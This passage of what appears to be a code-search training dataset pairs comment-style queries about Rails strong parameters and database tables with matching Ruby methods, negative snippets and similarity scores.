"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def alternativa_params
params.require(:alternativa).permit(:desc, :question_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
METHODS FOR asins table
|
def add_asin(asin)
match = $db.execute("SELECT asin FROM asins WHERE asin = ?", [asin])
if match == []
$db.execute("INSERT INTO asins (asin) VALUES (?)", [asin])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def table; end",
"def table; end",
"def table; end",
"def table; end",
"def table\n end",
"def _table; @table end",
"def table=(_arg0); end",
"def on_table?; @on_table; end",
"def initialize_table; end",
"def row; end",
"def as_table\n @as_table ||= Arel::Table.new(:authorized_objects_to_hydrate)\n end",
"def get_table(object)\n raise NotImplementedError, \"Subclasses must implement private method get_table\"\n end",
"def parse_table; end",
"def table(table)\n @table = table\n\n @aliased_table = @table.new(@table.table_name)\n end",
"def as_json(*args)\n super.as_json['table']\n end",
"def [](table)\n @to_sql += table.to_sql\n @tables = [table]\n self\n end",
"def return_table()\r\n\t\t\treturn @table\r\n\t\tend",
"def table\n ShortInteraction\n end",
"def i(table_name)\n other_table = @parent.send(table_name)\n\n other_table.entries.each_pair do |other_index, other_entry|\n e(other_entry.index, other_entry.value, other_entry.extras)\n end\n\n # Set index offset to other table's end index + 1.\n @index_offset = other_table.end_index + 1\n end",
"def student_table\n table = frm.table(:class=>\"listHier lines nolines\").to_a\n end",
"def student_table\n table = frm.table(:class=>\"listHier lines nolines\").to_a\n end",
"def xas table_name\n if table_name.present?\n as table_name\n else\n self\n end\n end",
"def _define_related_entries_method(meritable_class_name)\n define_method(:\"#{meritable_class_name.underscore.pluralize}\") do\n sashes = BadgesSash.where(badge_id: id).pluck(:sash_id)\n meritable_class_name.constantize.where(send \"_#{Merit.orm}_sash_in\", sashes)\n end\n end",
"def table_attributes\n attributes\n end",
"def initialize(table)\n @table = table\n end",
"def join_table(type, table, *args, &block)\n if table.is_a?(Class) && table < Sequel::Model\n Sequel::Deprecation.deprecate(\"Passing Sequel::Model class to a dataset join method\", \"Pass the model's table name or dataset as the first argument instead\")\n if table.dataset.simple_select_all?\n super(type, table.table_name, *args, &block)\n else\n super(type, table.dataset, *args, &block)\n end\n else\n super\n end\n end",
"def table\n Airmodel.client.table base_config[:base_id], base_config[:table_name]\n end",
"def table_array\r\n @table_array\r\n end",
"def table\n model_class.arel_table\n end",
"def initialize(table={})\n @table = table\n end",
"def table\n Identity\n end",
"def table\n Identity\n end",
"def table\n\t@table ||=Table.new\nend",
"def rows\n fail \"Implement #{self.class}#rows\"\n end",
"def table\n super || Sulten::Table.new(number: -1, capacity: 0, available: false)\n end",
"def index\n table.columns.index self\n end",
"def iterator\n @table.iterator\n end",
"def initialize(table)\n @table, @data = table, table.data\n \n initialize_values\n define_accessors\n end",
"def initialize(table)\n @table = table\n end",
"def on_table(params = {})\n table = Yummi::Table::new params\n table.data = self\n return table\n end",
"def method_missing(table, *columns)\n table_settings[table] = columns\n end",
"def create_table\n raise \"Need to implement abstract method.\" \n end",
"def set_table(table)\n define_class_method(:table) {table.to_s.to_sym}\n end",
"def table\n Service\n end",
"def resultset; end",
"def method_missing(*args)\n @row.send(*args)\n end",
"def initialize(table, id, data = {})\n @row_id = id\n @table = table\n @attributes = data\n @attributes.clone.\n keep_if{ |col, _| @table.indices.include? col }.\n each_pair{ |col, val| add_to_index(col, val) }\n end",
"def orm; end",
"def performance_table_list\n super\n end",
"def handle_row(business, row)\n\n end",
"def process_row(table, row)\n Log.write_log(table.name, \"Processing row: #{row.pretty_inspect}\")\n row.each do |v|\n row.to_h.each do |k,v|\n row[k] = Utf8_Converter::convert(v) if v.kind_of?(String)\n end\n end\n pk_string = ''\n table.primary_key.each do |pk|\n pk_string << row[pk].to_s\n end\n if pk_string.empty?\n row.each {|c| pk_string << c.to_s}\n end\n if (table.__id_store__)\n default_table_row = InsertRow.new(table.__default_table__, IdStore.new(table.name, pk_string))\n else\n default_table_row = InsertRow.new(table.__default_table__)\n end\n default_table_row.prototype_table_map = table\n default_table_row.prototype_result_set = row\n table_rows = []\n\n table.each_column do |attr_name, maps_to|\n next if maps_to == IGNORE\n\n if maps_to.kind_of?(ReaktorColumn)\n #\n # ReaktorColumn\n #\n default_table_row.add(*process_reaktor_column(maps_to, attr_name, row))\n elsif maps_to.kind_of?(ReaktorRow)\n #\n # ReaktorRow\n #\n table_rows << process_reaktor_row(maps_to, attr_name, row)\n elsif maps_to.kind_of?(Class)\n #\n # Plugin\n #\n plugin = process_plugin(maps_to, attr_name, row)\n list = plugin.each\n if list.kind_of?(Array)\n list.each do |reaktor_object|\n if reaktor_object.kind_of?(ReaktorColumn)\n default_table_row.add(*process_reaktor_column(reaktor_object, attr_name, row))\n elsif reaktor_object.kind_of?(ReaktorRow)\n table_rows << process_reaktor_row(reaktor_object, attr_name, row)\n else\n STDERR.puts \"reaktor_object was a #{reaktor_object.class} class\"\n exit\n end\n end\n end\n else\n STDERR.puts \"maps_to was of class: #{maps_to.class} and not processed\"\n exit\n end\n end\n \n table.__set__.each do |set|\n t = set.value\n if set.value.kind_of?(Query)\n tsth = $dbh_pg.prepare(set.value.sql)\n begin\n tsth.execute(row[:id])\n rescue\n $stderr.puts \"### Error in #{__FILE__} on line #{__LINE__}. See errorlog\"\n Log.write_log('error', \"Could not process query. Message: #{$!} query: #{get_query_string(tsth)}.\")\n raise\n exit\n end\n r = tsth.fetch\n t = r.nil? ? r : r[0]\n else\n t = set.parse_value(nil, row)\n end\n t = Filter.apply_filters(t, row, set.filters)\n default_table_row.add(set.name, t)\n end\n table_rows.insert(0, default_table_row) unless table.__default_table__.nil?\n return table_rows\nend",
"def method_missing( name, *args )\n @table.add_definition( name, *args )\n end",
"def create_table_sql(name, generator, options)\n a, b = super(name, generator, options), table_options_sql(options)\n \"#{a}\\n#{b}\"\n\t end",
"def add_table_actions(table)\n action_col_show(table)\n action_col_edit(table)\n action_col_destroy(table)\n end",
"def initialize(table = Table.new([4, 4]))\n @table = table\n end",
"def table(name, args = {}, &block)\n args[:base_columns] ||= columns\n table = Table.new(args, &block)\n tables << table\n singleton_class.send(:define_method, name) { return table }\n end",
"def table(omim_id)\n @table[omim_id]\n end",
"def kv_table(table)\n transform_table!(table).rows_hash\nend",
"def table\n self.class.table\n end",
"def tabla\n @nombre_tabla\n end",
"def hash\n @table.hash\n end",
"def import_table( table )\n # This must come first, so we can exclude foreign key indexes later.\n import_foreign_keys( table )\n import_indexes( table )\n import_columns( table )\n end",
"def table(name)\n Arel::Table.new(name, :engine => attribute.relation.engine)\n end",
"def sid_column\n end",
"def row(index)\n end",
"def get_records(table_name, opts)\n raise \"implement in subclass\"\n end",
"def table(table)\n self.query.table = table\n self\n end",
"def rebuild(table); end",
"def casino_table_fields\n [ :title, :city, :county, :state, :district, :owner_type, :comments ]\n end",
"def insert(table, id, attributes) # abstract\n end",
"def ref_table(method, source, col) \n (method ?\n source.reflect_on_association(method).klass :\n source).table_name\n end",
"def table_name\n raise \"You must override `table_name' in your class\"\n end",
"def extend_table(new_entry, table)\n\t\ttable.unshift new_entry\n\tend",
"def get_data\n raise \"This method should be overriden to return the JSON data for a concrete table\"\n end",
"def each_entry(&b)\n @table.each(&b)\n end",
"def each_entry(&b)\n @table.each(&b)\n end",
"def base_table\n {\n \"Partner\" => ->(distribution) {\n distribution.partner.name\n },\n \"Date of Distribution\" => ->(distribution) {\n distribution.issued_at.strftime(\"%m/%d/%Y\")\n },\n \"Source Inventory\" => ->(distribution) {\n distribution.storage_location.name\n },\n \"Total Items\" => ->(distribution) {\n distribution.line_items.total\n },\n \"Total Value\" => ->(distribution) {\n distribution.cents_to_dollar(distribution.line_items.total_value)\n },\n \"Delivery Method\" => ->(distribution) {\n distribution.delivery_method\n },\n \"State\" => ->(distribution) {\n distribution.state\n },\n \"Agency Representative\" => ->(distribution) {\n distribution.agency_rep\n },\n \"Comments\" => ->(distribution) {\n distribution.comment\n }\n }\n end",
"def tables\n [\n ]\n end",
"def ignored_translation_table_colums(klass); end",
"def translated_columns(klass); end",
"def insert()\n\n end",
"def table\n Response\n end",
"def initialize(table)\n @table = table\n freeze\n end",
"def tableView(tableView, \n writeRowsWithIndexes:rowIndexes, \n toPasteboard:pboard)\n \n \n data = NSKeyedArchiver.archivedDataWithRootObject(rowIndexes)\n pboard.declareTypes( [\"TSTab\"], owner:self )\n pboard.setData(data, forType:\"TSTab\") \n \n return true\n end",
"def [](name)\n @table[name.to_sym]\n end",
"def columns(table_name, name = nil) end",
"def indexes(table, opts=OPTS)\n return super unless opts.empty?\n\n quoted_name = literal(table)\n if v = Sequel.synchronize{@indexes[quoted_name]}\n return v\n end\n\n result = super\n Sequel.synchronize{@indexes[quoted_name] = result}\n result\n end",
"def table\n association.table_name\n end",
"def tableConvert(tableName, table)\n dbTableH = Hash.new\n records = Array.new\n i = 0\n \n table.each do\n |row|\n records[i] = row\n i += 1\n end\n dbTableH[tableName] = records\n \n return dbTableH\nend",
"def add_table_actions(table)\n action_col_edit(table)\n action_col_destroy(table)\n end",
"def table_id\n\n end",
"def sql_for_columns; @sql_for_columns end",
"def standard_table_actions(table)\n table.edit_action_col\n table.destroy_action_col\n end",
"def index\n instance_variable_set(resource(:tableize), @model.all)\n end",
"def table_name\n\t\tself.table_name\n\tend",
"def getTable() \n puts @table[0][\"name\"];\n end",
"def build_table_helpers(resource)\n @module.module_eval <<-end_eval\n def #{resource.singular}_table(opts={}, &block)\n content = capture(&block)\n opts[:class] = ResourcefulViews.resourceful_classnames('#{resource.singular}_table', *(opts.delete(:class) || '').split)\n concat(content_tag(:table, content, opts))\n end\n def #{resource.singular}_row(*args, &block)\n opts = args.extract_options!\n opts[:class] = ResourcefulViews.resourceful_classnames('#{resource.singular}', *(opts.delete(:class) || '').split)\n opts[:id] = '#{resource.singular}_' + args.first.id.to_s unless args.empty?\n content = capture(&block)\n concat(content_tag(:tr, content, opts))\n end\n end_eval\n end",
"def each( &blk )\n @table.each( &blk )\n end",
"def table\n self.class.table_name\n end",
"def alchemy\r\n end",
"def rcp_table(row,column); det.table(:id, 'rcpTable')[row][column];end"
] |
[
"0.68981117",
"0.68981117",
"0.68981117",
"0.68981117",
"0.66192466",
"0.6526396",
"0.625301",
"0.6209518",
"0.60598326",
"0.5998923",
"0.5965275",
"0.58618987",
"0.5845655",
"0.5777725",
"0.5771974",
"0.57706046",
"0.5769503",
"0.5755902",
"0.5742339",
"0.57124865",
"0.57124865",
"0.57053566",
"0.5685752",
"0.56415516",
"0.56390554",
"0.56014955",
"0.5596076",
"0.5578907",
"0.55707943",
"0.5565997",
"0.5564928",
"0.5564928",
"0.5557468",
"0.5551096",
"0.5539856",
"0.55349755",
"0.5508391",
"0.55018914",
"0.55013376",
"0.54947084",
"0.5478294",
"0.54717034",
"0.5460556",
"0.54602337",
"0.54543793",
"0.54434586",
"0.54111606",
"0.53998995",
"0.5397604",
"0.5373153",
"0.53612995",
"0.5354486",
"0.5349879",
"0.5345827",
"0.5337411",
"0.5335681",
"0.53356516",
"0.5334679",
"0.5330627",
"0.5306668",
"0.5306568",
"0.5288685",
"0.5286859",
"0.5269297",
"0.5257661",
"0.5255786",
"0.5250408",
"0.5243838",
"0.5238421",
"0.52304167",
"0.52221304",
"0.52133405",
"0.5211184",
"0.52024037",
"0.5199474",
"0.5199474",
"0.51990145",
"0.51986283",
"0.5185221",
"0.51809376",
"0.51652014",
"0.51633894",
"0.5162659",
"0.51600915",
"0.51565367",
"0.5153573",
"0.51509935",
"0.515013",
"0.5149952",
"0.5135405",
"0.5128784",
"0.5124467",
"0.51230305",
"0.5123006",
"0.5118981",
"0.5117812",
"0.5113514",
"0.51106256",
"0.5110581",
"0.5106701",
"0.51053506"
] |
0.0
|
-1
|
METHODS FOR PRICES TABLE
|
def add_price(asin, title, price_s, price_i, day, day_i)
$db.execute("INSERT INTO prices (asin, title, price_s, price_i, day, day_i) VALUES (?,?,?,?,?,?)", [asin, title, price_s, price_i, day, day_i])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def invoices_by_id_select\n \n end",
"def relation_method\n :product\n end",
"def list_of_pvas\n super\n end",
"def pricing_policy\n car.pricing_policy\n end",
"def index\n @prizes = Prize.all\n end",
"def selected_price_model\n \t@selected_price_model\n \tend",
"def index\n @prims = Prim.all\n end",
"def products\n end",
"def prerecord(klass, name); end",
"def pivotoptions\n \n end",
"def get_price\n item_prc_1\n end",
"def table; end",
"def table; end",
"def table; end",
"def table; end",
"def index\n ensure_an_admin_role\n @pricetypes = Pricetype.all\n end",
"def set_price\n @price = Price.find(params[:id])\n @prices = Price.order('position Asc')\n #@price.strain_id = Strain.find(params[:id]).id\n #@price.region_id = Region.find(params[:id]).id\n end",
"def index\n @prd_m_prchs_prices = PrdMPrchsPrice.all\n end",
"def price\n raise 'Redefine this method in your billing model.'\n end",
"def price\n raise 'Redefine this method in your billing model.'\n end",
"def set_product\n \n end",
"def price\n \n end",
"def index\n @pricings = Pricing.all\n end",
"def set_production_and_productivity_of_rice\n @production_and_productivity_of_rice = ProductionAndProductivityOfRice.find(params[:id])\n end",
"def methds\n [ :price, :weight ]\n end",
"def ratings_query\n super\n end",
"def create_price \n Price.create_from_item(self)\n end",
"def crud_value row = nil\n value row, :crud\n end",
"def prim_val\n self[self.class.primary_key]\n end",
"def related_fields(method)\n \n end",
"def table\n end",
"def set_prize\n @prize = Prize.find(params[:id])\n end",
"def index\n @paper_products = PaperProduct.all\n end",
"def recorded_votes_collection\n recorded_votes_table_rows = select_table(RECORDED_VOTES_TITLE, 2)\n\n recorded_votes_table_rows.map do |recorded_votes_row|\n recorded_votes_builder(recorded_votes_row)\n end\n end",
"def pundit_params_for(record); end",
"def set_pricing\n @pricing = Pricing.find(params[:id])\n end",
"def set_pricing\n @pricing = Pricing.find(params[:id])\n end",
"def set_pricing\n @pricing = Pricing.find(params[:id])\n end",
"def policy(record); end",
"def rcp_table(row,column); det.table(:id, 'rcpTable')[row][column];end",
"def set_pln_invoice\n @pln_invoice = PlnInvoice.find(params[:id])\n @pln_invoice_items = @pln_invoice.pln_invoice_items\n @prices = @pln_invoice_items.where.not(price_netto: nil).first\n end",
"def purchase\n @priceplans = Admin::Priceplan.all \n end",
"def index\n @prducts = Prduct.all\n end",
"def _crud(for_select = true)\n fetch_array_for $_crud, for_select\n end",
"def set_pricetype\n @pricetype = Pricetype.find(params[:id])\n end",
"def peticiones_pendientes(curr_page)\n self.proposal.paginate(page: curr_page, per_page: 10)\n end",
"def request_raw_prices\n Ds::Pim::Api.get_product_offering_prices @offering_id # Array\n end",
"def attrs\n [ :id, :price, :page_id, :created_at, :updated_at ]\n end",
"def index\n @prisons = Prison.all\n end",
"def find_prize\n\t\t\t\t\t\t@prize = Prize.find(params[:id])\n\t\t\t\t\tend",
